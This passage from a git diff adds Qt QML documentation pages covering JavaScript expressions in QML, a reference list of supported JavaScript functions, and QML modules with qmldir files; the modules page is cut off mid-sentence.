+\page qml-javascript.html +\ingroup qml-features +\title JavaScript Expressions in QML +\brief adding logic to QML applications with JavaScript + +\code + +This article is a work-in-progress. + +\endcode + +JavaScript adds logic to QML components. Properties can bind +to JavaScript expressions or reside inline in functions or signal handlers. The +\l{The QML Engine}{QML engine} will then interpret the expression to calculate new +property values or to execute a routine. + +The \l{JavaScript Runtime}{JavaScript runtime} can run valid standard +JavaScript constructs such as conditional operators, arrays, variable setting, +loops. In addition to the standard JavaScript properties, the \l {QML Global +Object} includes a number of helper methods that simplify building UIs and +interacting with the QML environment. + +The JavaScript environment provided by QML is stricter than that in a web +browser. In QML you cannot add, or modify, members of the JavaScript global +object. In regular JavaScript, it is possible to do this accidentally by using a +variable without declaring it. In QML this will throw an exception, so all local +variables should be explicitly declared. + + +\section1 Adding Logic + +The \l {QML Elements} provide a declarative way of creating and managing the +interface layout and scene. Binding properties or signal handlers to JavaScript +expressions adds logic to the QML application. + +Suppose that a button represented by a Rectangle element has a MouseArea and a +Text label. The MouseArea will call its \l{MouseArea::}{onPressed} handler when the user presses the defined interactive area. The QML engine will execute the +contents bound to the onPressed and onReleased handlers. Typically, a signal +handler is bound to JavaScript expressions to initiate other events or to simply +assign property values. + +\code +Rectangle { + id: button + width: 200; height: 80; color: "lightsteelblue" + + MouseArea { + id: mousearea + anchors.fill: parent + + onPressed: { + label.text = "I am Pressed!" + } + onReleased: { + label.text = "Click Me!" + } + + } + + Text { + id: label + anchors.centerIn: parent + text: "Press Me!" + } +} +\endcode + +During startup, the QML engine will set up and initialize the property +bindings. The JavaScript conditional operator is a valid property binding. + +\code +Rectangle { + id: colorbutton + width: 200; height: 80; + + color: mousearea.pressed ? "steelblue" : "lightsteelblue" + + MouseArea { + id: mousearea + anchors.fill: parent + } +} +\endcode + +\section2 Inline JavaScript + +Small JavaScript functions can be written inline with other QML declarations. +These inline functions are added as methods to the QML element that contains +them. + +\code +Item { + function factorial(a) { + a = parseInt(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); + } + + MouseArea { + anchors.fill: parent + onClicked: console.log(factorial(10)) + } +} +\endcode + +The factorial function will run whenever the MouseArea detects a clicked signal. + +As methods, inline functions on the root element in a QML component can be +invoked by callers outside the component. If this is not desired, the method +can be added to a non-root element or, preferably, written in an external +JavaScript file. + +\section2 JavaScript files + +Large blocks of JavaScript should be written in separate files. These files +can be imported into QML files using an \c import statement, in the same way +that \l {Modules}{modules} are imported. + +For example, the \c {factorial()} method in the above example for \l {Inline JavaScript} +could be moved into an external file named \c factorial.js, and accessed like this: + +\code +import "factorial.js" as MathFunctions +Item { + MouseArea { + anchors.fill: parent + onClicked: console.log(MathFunctions.factorial(10)) + } +} +\endcode + +For more information about loading external JavaScript files into QML, read +the section about \l{Importing JavaScript into QML}. + +\section1 JavaScript Expressions +The \l{JavaScript Runtime}{JavaScript runtime} run regular JavaScript +expressions as defined by the + +\section2 Variables and Properties + +-variables +-basic data types +-values and assigning +-relate to property binding + +\section2 Conditional Loops +- for loops et al. +- conditional operator + +\section2 Data Structures +- arrays +- object +- relate to the content below about valid JS scope, objects, etc. +- more advanced data types such as accessing QML list + +\section2 Functions +- function declaration +- function assignment (return values) +- function parameters +- connecting functions +- importing libraries, functions +- difference between JS functions and signals and QML methods +\section3 Receiving QML Signals in JavaScript + +To receive a QML signal, use the signal's \c connect() method to connect it to a JavaScript +function. + +For example, the following code connects the MouseArea \c clicked signal to the \c jsFunction() +in \c script.js: + +\table +\row +\li \snippet doc/snippets/qml/integrating-javascript/connectjs.qml 0 +\li \snippet doc/snippets/qml/integrating-javascript/script.js 0 +\endtable + +The \c jsFunction() will now be called whenever MouseArea's \c clicked signal is emitted. + +See \l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} +{Connecting Signals to Methods and Signals} for more information. + +\section2 Advanced Usage +- using JS to access QML scene +- using JS for algorithms + - sorting, reordering lists +- how to modify other QML entities with JS + + + +\section1 Importing JavaScript into QML +Both relative and absolute JavaScript URLs can be imported. In the case of a +relative URL, the location is resolved relative to the location of the +\l {QML Document} that contains the import. If the script file is not accessible, +an error will occur. If the JavaScript needs to be fetched from a network +resource, the component's \l {QQmlComponent::status()}{status} is set to +"Loading" until the script has been downloaded. + +Imported JavaScript files are always qualified using the "as" keyword. The +qualifier for JavaScript files must be unique, so there is always a one-to-one +mapping between qualifiers and JavaScript files. (This also means qualifiers cannot +be named the same as built-in JavaScript objects such as \c Date and \c Math). + +\section2 Importing One JavaScript File From Another + +If a JavaScript file needs to use functions defined inside another JavaScript file, +the other file can be imported using the \l {QML:Qt::include()}{Qt.include()} +function. This imports all functions from the other file into the current file's +namespace. + +For example, the QML code below left calls \c showCalculations() in \c script.js, +which in turn can call \c factorial() in \c factorial.js, as it has included +\c factorial.js using \l {QML:Qt::include()}{Qt.include()}. + +\table +\row +\li {1,2} \snippet doc/snippets/qml/integrating-javascript/includejs/app.qml 0 +\li \snippet doc/snippets/qml/integrating-javascript/includejs/script.js 0 +\row +\li \snippet doc/snippets/qml/integrating-javascript/includejs/factorial.js 0 +\endtable + +Notice that calling \l {QML:Qt::include()}{Qt.include()} imports all functions from +\c factorial.js into the \c MyScript namespace, which means the QML component can also +access \c factorial() directly as \c MyScript.factorial(). + +In QtQuick 2.0, support has been added to allow JavaScript files to import other +JavaScript files and also QML modules using a variation of the standard QML import +syntax (where all of the previously described rules and qualifications apply). + +A JavaScript file may import another in the following fashion: +\code +.import "filename.js" as UniqueQualifier +\endcode +For example: +\code +.import "factorial.js" as MathFunctions +\endcode + +A JavaScript file may import a QML module in the following fashion: +\code +.import Module.Name MajorVersion.MinorVersion as UniqueQualifier +\endcode +For example: +\code +.import Qt.test 1.0 as JsQtTest +\endcode +In particular, this may be useful in order to access functionality provided +via a module API; see qmlRegisterModuleApi() for more information. + +Due to the ability of a JavaScript file to import another script or QML module in +this fashion in QtQuick 2.0, some extra semantics are defined: +\list +\li a script with imports will not inherit imports from the QML file which imported it (so accessing Component.error will fail, for example) +\li a script without imports will inherit imports from the QML file which imported it (so accessing Component.error will succeed, for example) +\li a shared script (i.e., defined as .pragma library) does not inherit imports from any QML file even if it imports no other scripts +\endlist + +The first semantic is conceptually correct, given that a particular script +might be imported by any number of QML files. The second semantic is retained +for the purposes of backwards-compatibility. The third semantic remains +unchanged from the current semantics for shared scripts, but is clarified here +in respect to the newly possible case (where the script imports other scripts +or modules). +\section2 Code-Behind Implementation Files + +Most JavaScript files imported into a QML file are stateful implementations +for the QML file importing them. In these cases, for QML component instances to +behave correctly each instance requires a separate copy of the JavaScript objects +and state. + +The default behavior when importing JavaScript files is to provide a unique, isolated +copy for each QML component instance. The code runs in the same scope as the QML +component instance and consequently can can access and manipulate the objects and +properties declared. + +\section2 Stateless JavaScript libraries + +Some JavaScript files act more like libraries - they provide a set of stateless +helper functions that take input and compute output, but never manipulate QML +component instances directly. + +As it would be wasteful for each QML component instance to have a unique copy of +these libraries, the JavaScript programmer can indicate a particular file is a +stateless library through the use of a pragma, as shown in the following example. + +\code +// factorial.js +.pragma library + +function factorial(a) { + a = parseInt(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); +} +\endcode + +The pragma declaration must appear before any JavaScript code excluding comments. + +As they are shared, stateless library files cannot access QML component instance +objects or properties directly, although QML values can be passed as function +parameters. + + + + +\section1 Running JavaScript at Startup + +It is occasionally necessary to run some imperative code at application (or +component instance) startup. While it is tempting to just include the startup +script as \e {global code} in an external script file, this can have severe limitations +as the QML environment may not have been fully established. For example, some objects +might not have been created or some \l {Property Binding}s may not have been run. +\l {QML JavaScript Restrictions} covers the exact limitations of global script code. + +The QML \l Component element provides an \e attached \c onCompleted property that +can be used to trigger the execution of script code at startup after the +QML environment has been completely established. For example: + +\code +Rectangle { + function startupFunction() { + // ... startup code + } + + Component.onCompleted: startupFunction(); +} +\endcode + +Any element in a QML file - including nested elements and nested QML component +instances - can use this attached property. If there is more than one \c onCompleted() +handler to execute at startup, they are run sequentially in an undefined order. + +Likewise, the \l {Component::onDestruction} attached property is triggered on +component destruction. + + +\section1 JavaScript and Property Binding + +Property bindings can be created in JavaScript by assigning the property the value returned +by calling Qt.binding() where the parameter to Qt.binding() is a \c function +that returns the required value. + +See \l {qml-javascript-assignment}{Property Assignment versus Property Binding} for details. + + +\section1 QML JavaScript Restrictions + +QML executes standard JavaScript code, with the following restrictions: + +\list +\li JavaScript code cannot modify the global object. + +In QML, the global object is constant - existing properties cannot be modified or +deleted, and no new properties may be created. + +Most JavaScript programs do not intentionally modify the global object. However, +JavaScript's automatic creation of undeclared variables is an implicit modification +of the global object, and is prohibited in QML. + +Assuming that the \c a variable does not exist in the scope chain, the following code +is illegal in QML. + +\code +// Illegal modification of undeclared variable +a = 1; +for (var ii = 1; ii < 10; ++ii) + a = a * ii; +console.log("Result: " + a); +\endcode + +It can be trivially modified to this legal code. + +\code +var a = 1; +for (var ii = 1; ii < 10; ++ii) + a = a * ii; +console.log("Result: " + a); +\endcode + +Any attempt to modify the global object - either implicitly or explicitly - will +cause an exception. If uncaught, this will result in an warning being printed, +that includes the file and line number of the offending code. + +\li Global code is run in a reduced scope + +During startup, if a QML file includes an external JavaScript file with "global" +code, it is executed in a scope that contains only the external file itself and +the global object. That is, it will not have access to the QML objects and +properties it \l {QML Scope}{normally would}. + +Global code that only accesses script local variable is permitted. This is an +example of valid global code. + +\code +var colors = [ "red", "blue", "green", "orange", "purple" ]; +\endcode + +Global code that accesses QML objects will not run correctly. + +\code +// Invalid global code - the "rootObject" variable is undefined +var initialPosition = { rootObject.x, rootObject.y } +\endcode + +This restriction exists as the QML environment is not yet fully established. +To run code after the environment setup has completed, refer to +\l {Running JavaScript at Startup}. + +\li The value of \c this is currently undefined in QML in the majority of contexts + +The \c this keyword is supported when binding properties from JavaScript. +In all other situations, the value of +\c this is undefined in QML. + +To refer to any element, provide an \c id. For example: + +\qml +Item { + width: 200; height: 100 + function mouseAreaClicked(area) { + console.log("Clicked in area at: " + area.x + ", " + area.y); + } + // This will not work because this is undefined + MouseArea { + height: 50; width: 200 + onClicked: mouseAreaClicked(this) + } + // This will pass area2 to the function + MouseArea { + id: area2 + y: 50; height: 50; width: 200 + onClicked: mouseAreaClicked(area2) + } +} +\endqml + +\endlist + +\section1 Scarce Resources in JavaScript + +As described in the documentation for \l{QML Basic Types}, a \c var type +property may hold a "scarce resource" (image or pixmap). There are several +important semantics of scarce resources which should be noted: + +\list +\li By default, a scarce resource is automatically released by the declarative engine as soon as evaluation of the expression in which the scarce resource is allocated is complete if there are no other references to the resource +\li A client may explicitly preserve a scarce resource, which will ensure that the resource will not be released until all references to the resource are released and the JavaScript engine runs its garbage collector +\li A client may explicitly destroy a scarce resource, which will immediately release the resource +\endlist + +In most cases, allowing the engine to automatically release the resource is +the correct choice. In some cases, however, this may result in an invalid +variant being returned from a function in JavaScript, and in those cases it +may be necessary for clients to manually preserve or destroy resources for +themselves. + +For the following examples, imagine that we have defined the following class: + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.h 0 + +and that we have registered it with the QML type-system as follows: + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 0 + +The AvatarExample class has a property which is a pixmap. When the property +is accessed in JavaScript scope, a copy of the resource will be created and +stored in a JavaScript object which can then be used within JavaScript. This +copy will take up valuable system resources, and so by default the scarce +resource copy in the JavaScript object will be released automatically by the +declarative engine once evaluation of the JavaScript expression is complete, +unless the client explicitly preserves it. + +\section2 Example One: Automatic Release + +In the following example, the scarce resource will be automatically released +after the binding evaluation is complete. + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/exampleOne.qml 0 + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 1 + +\section2 Example Two: Automatic Release Prevented By Reference + +In this example, the resource will not be automatically +released after the binding expression evaluation is +complete, because there is a property var referencing the +scarce resource. + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/exampleTwo.qml 0 + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 2 + +\section2 Example Three: Explicit Preservation + +In this example, the resource must be explicitly preserved in order +to prevent the declarative engine from automatically releasing the +resource after evaluation of the imported script. + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/exampleThree.js 0 + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/exampleThree.qml 0 + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 3 + +\section2 Example Four: Explicit Destruction + +In the following example, we release (via destroy()) an explicitly preserved +scarce resource variant. This example shows how a client may free system +resources by releasing the scarce resource held in a JavaScript object, if +required, during evaluation of a JavaScript expression. + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/exampleFour.js 0 + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/exampleFour.qml 0 + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 4 + +\section2 Example Five: Explicit Destruction And JavaScript References + +One thing to be aware of when using "var" type properties is that they +hold references to JavaScript objects. As such, if multiple references +to one scarce resource is held, and the client calls destroy() on one +of those references (to explicitly release the scarce resource), all of +the references will be affected. + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/exampleFive.qml 0 + +\snippet doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 5 + +*/ diff --git a/src/qml/doc/src/jsfunctionlist.qdoc b/src/qml/doc/src/jsfunctionlist.qdoc new file mode 100644 index 0000000000..35abc0a92c --- /dev/null +++ b/src/qml/doc/src/jsfunctionlist.qdoc @@ -0,0 +1,347 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page jsfunctionlist.html + \title List of JavaScript Objects and Functions + \brief A list of objects, functions, and properties supported in QML. + + This reference contains a list of objects, functions and + properties supported by the \l{The QML Engine}{QML engine}. For a detailed + description, see the \l{External: ECMA-262} specification. + + \section1 The Global Object + + \section2 Value Properties + + \list + \li NaN + \li Infinity + \li undefined + \endlist + + \section2 Function Properties + + \list + \li eval(x) + \li parseInt(string, radix) + \li parseFloat(string) + \li isNaN(number) + \li isFinite(number) + \li decodeURI(encodedURI) + \li decodeURIComponent(encodedURIComponent) + \li encodeURI(uri) + \li encodeURIComponent(uriComponent) + \endlist + + \section2 Constructor Properties + + \list + \li Object + \li Function + \li Array + \li String + \li Boolean + \li Number + \li Date + \li RegExp + \li Error + \li EvalError + \li RangeError + \li ReferenceError + \li SyntaxError + \li TypeError + \li URIError + \endlist + + \section2 Other Properties + + \list + \li Math + \li JSON + \endlist + + \section1 The Object Object + + \section2 Object Constructor + + \section3 Function Properties + + \list + \li getPrototypeOf(O) + \li getOwnPropertyDescriptor(O, P) + \li getOwnPropertyNames(O) + \li create(O [, Properties]) + \li defineProperty(O, P, Attributes) + \li defineProperties(O, Properties) + \li keys(O) + \li seal(O) + \li isSealed(O) + \li freeze(O) + \li isFrozen(O) + \li preventExtensions(O) + \li isExtensible(O) + \endlist + + \section2 Object Prototype + + \section3 Function Properties + + \list + \li toString() + \li toLocaleString() + \li valueOf() + \li hasOwnProperty(V) + \li isPrototypeOf(V) + \li propertyIsEnumerable(V) + \endlist + + \section1 Function Objects + + \section2 Function Prototype + + \section3 Function Properties + + \list + \li toString() + \li apply(thisArg, argArray) + \li call(thisArg [, arg1 [, arg2, ...]]) + \li bind((thisArg [, arg1 [, arg2, …]]) + \endlist + + \section1 Array Objects + + \section2 Array Prototype Object + + \section3 Function Properties + + \list + \li toString() + \li toLocaleString() + \li concat([item1 [, item2 [, ...]]]) + \li join(separator) + \li pop() + \li push([item1 [, item2 [, ...]]]) + \li reverse() + \li shift() + \li slice(start, end) + \li sort(comparefn) + \li splice(start, deleteCount[, item1 [, item2 [, ...]]]) + \li unshift([item1 [, item2 [, ...]]]) + \li indexOf(searchElement [, fromIndex]) + \li lastIndexOf(searchElement [, fromIndex]) + \li every(callbackfn [, thisArg]) + \li some(callbackfn [, thisArg]) + \li forEach(callbackfn [, thisArg]) + \li map(callbackfn [, thisArg]) + \li filter(callbackfn [, thisArg]) + \li reduce(callbackfn [, initialValue]) + \li reduceRight(callbackfn [, initialValue]) + \endlist + + \section1 String Objects + + \section2 String Prototype Object + + \section3 Function Properties + + \list + \li toString() + \li valueOf() + \li charAt(pos) + \li charCodeAt(pos) + \li concat([string1 [, string2 [, ...]]]) + \li indexOf(searchString ,position) + \li lastIndexOf(searchString, position) + \li localeCompare(that) + \li match(regexp) + \li replace(searchValue, replaceValue) + \li search(regexp) + \li slice(start, end) + \li split(separator, limit) + \li substring(start, end) + \li toLowerCase() + \li toLocaleLowerCase() + \li toUpperCase() + \li toLocaleUpperCase() + \li trim() + \endlist + + \section1 Boolean Objects + + \section2 Boolean Prototype Object + + \section3 Function Properties + + \list + \li toString() + \li valueOf() + \endlist + + \section1 Number Objects + + \section2 Number Prototype Object + + \section3 Function Properties + + \list + \li toString(radix) + \li toLocaleString() + \li toFixed(fractionDigits) + \li toExponential(fractionDigits) + \li toPrecision(precision) + \endlist + + \section1 The Math Object + + \section2 Value Properties + + \list + \li E + \li LN10 + \li LN2 + \li LOG2E + \li LOG10E + \li PI + \li SQRT1_2 + \li SQRT2 + \endlist + + \section2 Function Properties + + \list + \li abs(x) + \li acos(x) + \li asin(x) + \li atan(x) + \li atan2(y, x) + \li ceil(x) + \li cos(x) + \li exp(x) + \li floor(x) + \li log(x) + \li max([value1 [, value2 [, ...]]]) + \li min([value1 [, value2 [, ...]]]) + \li pow(x, y) + \li random() + \li round(x) + \li sin(x) + \li sqrt(x) + \li tan(x) + \endlist + + \section1 Date Objects + + \section2 Date Prototype Object + + \section3 Function Properties + + \list + \li toString() + \li toDateString() + \li toTimeString() + \li toLocaleString() + \li toLocaleDateString() + \li toLocaleTimeString() + \li valueOf() + \li getTime() + \li getFullYear() + \li getUTCFullYear() + \li getMonth() + \li getUTCMonth() + \li getDate() + \li getUTCDate() + \li getDay() + \li getUTCDay() + \li getHours() + \li getUTCHours() + \li getMinutes() + \li getUTCMinutes() + \li getSeconds() + \li getUTCSeconds() + \li getMilliseconds() + \li getUTCMilliseconds() + \li getTimeZoneOffset() + \li setTime(time) + \li setMilliseconds(ms) + \li setUTCMilliseconds(ms) + \li setSeconds(sec [, ms]) + \li setUTCSeconds(sec [, ms]) + \li setMinutes(min [, sec [, ms]]) + \li setUTCMinutes(min [, sec [, ms]]) + \li setHours(hour [, min [, sec [, ms]]]) + \li setUTCHours(hour [, min [, sec [, ms]]]) + \li setDate(date) + \li setUTCDate(date) + \li setMonth(month [, date]) + \li setUTCMonth(month [, date]) + \li setFullYear(year [, month [, date]]) + \li setUTCFullYear(year [, month [, date]]) + \li toUTCString() + \li toISOString() + \li toJSON() + \endlist + + \section1 RegExp Objects + + \section2 RegExp Prototype Object + + \section3 Function Properties + + \list + \li exec(string) + \li test(string) + \li toString() + \endlist + + \section1 Error Objects + + \section2 Error Prototype Object + + \section3 Value Properties + + \list + \li name + \li message + \endlist + + \section3 Function Properties + + \list + \li toString() + \endlist + + \section1 The JSON Object + + \section2 Function Properties + + \list + \li parse(text [, reviver]) + \li stringify(value [, replacer [, space]]) + \endlist + +*/ diff --git a/src/qml/doc/src/modules.qdoc b/src/qml/doc/src/modules.qdoc new file mode 100644 index 0000000000..e8cf792908 --- /dev/null +++ b/src/qml/doc/src/modules.qdoc @@ -0,0 +1,532 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-modules.html +\title QML Modules +\brief creating and setting up QML modules + +\section1 Modules + +A module is a set of QML content files that can be imported as a unit into a QML +application. Modules can be used to organize QML content into independent units, +and they can use a versioning mechanism that allows for independent +upgradability of the modules. + +While QML component files within the same directory are automatically accessible +within the global namespace, components defined elsewhere must be imported +explicitly using the \c import statement to import them as modules. For +example, an \c import statement is required to use: + +\list +\li A component defined in another QML file that is not in the same directory +\li A component defined in a QML file located on a remote server +\li A \l{QQmlExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory) +\li A JavaScript file (note this must be imported using \l {#namespaces}{named imports}) +\endlist + +An \c import statement includes the module name, and possibly a version number. +This can be seen in the snippet commonly found at the top of QML files: + +\snippet doc/snippets/qml/imports/qtquick-1.0.qml import + +This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML +library itself must be imported to use any of the \l {QML Elements}, as they +are not included in the global namespace by default.) + +The \c Qt module is an \e installed module; it is found in the +\l{#import-path}{import path}. There are two types of QML modules: +located modules (defined by a URL) and installed modules (defined by a URI). + + +\section1 Located Modules + +Located modules can reside on the local filesystem or a network resource, +and are referred to by a quoted location URL that specifies the filesystem +or network URL. They allow any directory with QML content to be imported +as a module, whether the directory is on the local filesystem or a remote +server. + +For example, a QML project may have a separate directory for a set of +custom UI components. These components can be accessed by importing the +directory using a relative or absolute path, like this: + +\table +\row +\li Directory structure +\li Contents of application.qml + +\row +\li +\code +MyQMLProject + |- MyComponents + |- CheckBox.qml + |- Slider.qml + |- Window.qml + |- Main + |- application.qml +\endcode + +\li +\qml +import "../MyComponents" + +Window { + Slider { + // ... + } + CheckBox { + // ... + } +} +\endqml + +\endtable + +Similarly, if the directory resided on a network source, it could +be imported like this: + +\snippet doc/snippets/qml/imports/network-imports.qml imports + +A located module can also be imported as a network resource if it has a +\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files +to be made available by the module. For example, if the \c MyComponents directory +contained a \c qmldir file defined like this: + +\code +Slider 1.0 Slider.qml +CheckBox 1.0 CheckBox.qml +Window 1.0 Window.qml +\endcode + +If the \c MyComponents directory was then hosted as a network resource, it could +be imported as a module, like this: + +\qml +import "http://the-server-name.com/MyQMLProject/MyComponents" + +Window { + Slider { + // ... + } + CheckBox { + // ... + } +} +\endqml + +with an optional "1.0" version specification. Notice the import would fail if +a later version was used, as the \c qmldir file specifies that these elements +are only available in the 1.0 version. + +Note that modules imported as a network resource allow only access to components +defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} +are not available. + + +\target import-path +\section1 Installed Modules + +Installed modules are modules that are made available through the QML import path, +as defined by QQmlEngine::importPathList(), or modules defined within +C++ application code. An installed module is referred to by a URI, which allows +the module to be imported from QML code without specifying a complete filesystem +path or network resource URL. + +When importing an installed module, an un-quoted URI is +used, with a mandatory version number: + +\snippet doc/snippets/qml/imports/installed-module.qml imports + +When a module is imported, the QML engine searches the QML import path for a matching +module. The root directory of the module must contain a +\l{Writing a qmldir file}{qmldir file} that defines the QML files +and/or C++ QML extension plugins that are made available to the module. + +Modules that are installed into the import path translate the URI into +directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule +must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the +QML import path. In addition it is possible to store different versions of the +module in subdirectories of its own. For example, a version 2.1 of the +module could be located under \c com/nokia/qml/mymodule.2/qmldir or +\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load +the module which matches best. + +The import path, as returned by QQmlEngine::importPathList(), defines the default +locations to be searched by the QML engine for a matching module. By default, this list +contains: + +\list +\li The directory of the current file +\li The location specified by QLibraryInfo::ImportsPath +\li Paths specified by the \c QML_IMPORT_PATH environment variable +\endlist + +Additional import paths can be added through QQmlEngine::addImportPath() or the +\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you +can also use the \c -I option to add an import path. + + +\section2 Creating Installed Modules + +As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example} +was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents +subdirectory could be made available as an installed module by adding a +\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this: + +\code +Slider 1.0 Slider.qml +CheckBox 1.0 CheckBox.qml +Window 1.0 Window.qml +\endcode + +Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously, +a QML file located anywhere on the local filesystem can then import the module as shown below, +without referring to the module's absolute filesystem location: + +\qml +import projects.MyQMLProject.MyComponents 1.0 + +Window { + Slider { + // ... + } + CheckBox { + // ... + } +} +\endqml + +Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted +as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above +QML code would work just the same. + +Note that modules imported as a network resource allow only access to components +defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} +are not available. + + +\section2 Creating Installed Modules in C++ + +C++ applications can define installed modules directly within the application using qmlRegisterType(). +For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial} +defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType(): + +\code +qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart"); +\endcode + +This allows the application's QML files to use the \c PieChart type by importing the declared +\c Charts module: + +\snippet doc/snippets/qml/imports/chart.qml import + +For \l{QQmlExtensionPlugin}{QML plugins}, the +module URI is automatically passed to QQmlExtensionPlugin::registerTypes(). This method +can be reimplemented by the developer to register the necessary types for the module. Below is the +\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins} +example: + +\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin + +Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file}, +the module can be imported from QML, like this: + +\snippet doc/snippets/qml/imports/timeexample.qml import + +Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by +a module that is imported as a network resource. + + + +\target namespaces +\section1 Namespaces: Using Named Imports + +By default, when a module is imported, its contents are imported into the global namespace. You may choose to import the module into another namespace, either to allow identically-named types to be referenced, or purely for readability. + +To import a module into a specific namespace, use the \e as keyword: + +\snippet doc/snippets/qml/imports/named-imports.qml imports + +Types from these modules can then only be used when qualified by the namespace: + +\snippet doc/snippets/qml/imports/named-imports.qml imported items + +Multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace: + +\snippet doc/snippets/qml/imports/merged-named-imports.qml imports + +\section2 JavaScript Files + +JavaScript files must always be imported with a named import: + +\qml +import "somescript.js" as MyScript + +Item { + //... + Component.onCompleted: MyScript.doSomething() +} +\endqml + +The qualifier ("MyScript" in the above example) must be unique within the QML document. +Unlike ordinary modules, multiple scripts cannot be imported into the same namespace. + +Javascript files can be provided by modules, by adding Namespace definitions to the +\l{Writing a qmldir file}{qmldir file} for the module. For example: + +\code +SystemFunctions 1.0 SystemFunctions.js +UserFunctions 1.0 UserFunctions.js +\endcode + +Javascript can be imported from a module, where they will have the namespace defined +for them in the module's \c qmldir file: + +\qml +import projects.MyQMLProject.MyFunctions 1.0 + +Window { + Component.onCompleted: { SystemFunctions.cleanUp(); } +} +\endqml + +Javascript provided by modules can also be imported into namespaces: + +\qml +import projects.MyQMLProject.MyFunctions 1.0 as MyFuncs +import org.example.Functions 1.0 as TheirFuncs + +Window { + Component.onCompleted: { + MyFuncs.SystemFunctions.cleanUp(); + TheirFuncs.SystemFunctions.shutdown(); + } +} +\endqml + +\section1 Writing a qmldir File + +A \c qmldir file is a metadata file for a module that maps all type names in +the module to versioned QML files. It is required for installed modules, and +located modules that are loaded from a network source. + +It is defined by a plain text file named "qmldir" that contains one or more lines of the form: + +\code +# <Comment> +<TypeName> [<InitialVersion>] <File> +internal <TypeName> <File> +<Namespace> <InitialVersion> <File> +plugin <Name> [<Path>] +typeinfo <File> +\endcode + +\b {# <Comment>} lines are used for comments. They are ignored by the QML engine. + +\b {<TypeName> [<InitialVersion>] <File>} lines are used to add QML files as types. +<TypeName> is the type being made available, the optional <InitialVersion> is a version +number, and <File> is the (relative) file name of the QML file defining the type. + +Installed files do not need to import the module of which they are a part, as they can refer +to the other QML files in the module as relative (local) files, but +if the module is imported from a remote location, those files must nevertheless be listed in +the \c qmldir file. Types which you do not wish to export to users of your module +may be marked with the \c internal keyword: \b {internal <TypeName> <File>}. + +The same type can be provided by different files in different versions, in which +case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0), +since the \e first name-version match is used and a request for a version of a type +can be fulfilled by one defined in an earlier version of the module. If a user attempts +to import a version earlier than the earliest provided or later than the latest provided, +the import produces a runtime error, but if the user imports a version within the range of versions provided, +even if no type is specific to that version, no error will occur. + +A single module, in all versions, may only be provided in a single directory (and a single \c qmldir file). +If multiple are provided, only the first in the search path will be used (regardless of whether other versions +are provided by directories later in the search path). + +The versioning system ensures that a given QML file will work regardless of the version +of installed software, since a versioned import \e only imports types for that version, +leaving other identifiers available, even if the actual installed version might otherwise +provide those identifiers. + +\b {<Namespace> <InitialVersion> <File>} lines are used to import javascript files +into a Namespace exported by the module. The contents of the script file are made +available inside the namespace <Namespace>, which has the version number +<InitialVersion>. + +\b{plugin <Name> [<Path>]} lines are used to add \l{QQmlExtensionPlugin}{QML C++ plugins} to the module. <Name> is the name of the library. It is usually not the same as the file name +of the plugin binary, which is platform dependent; e.g. the library \c 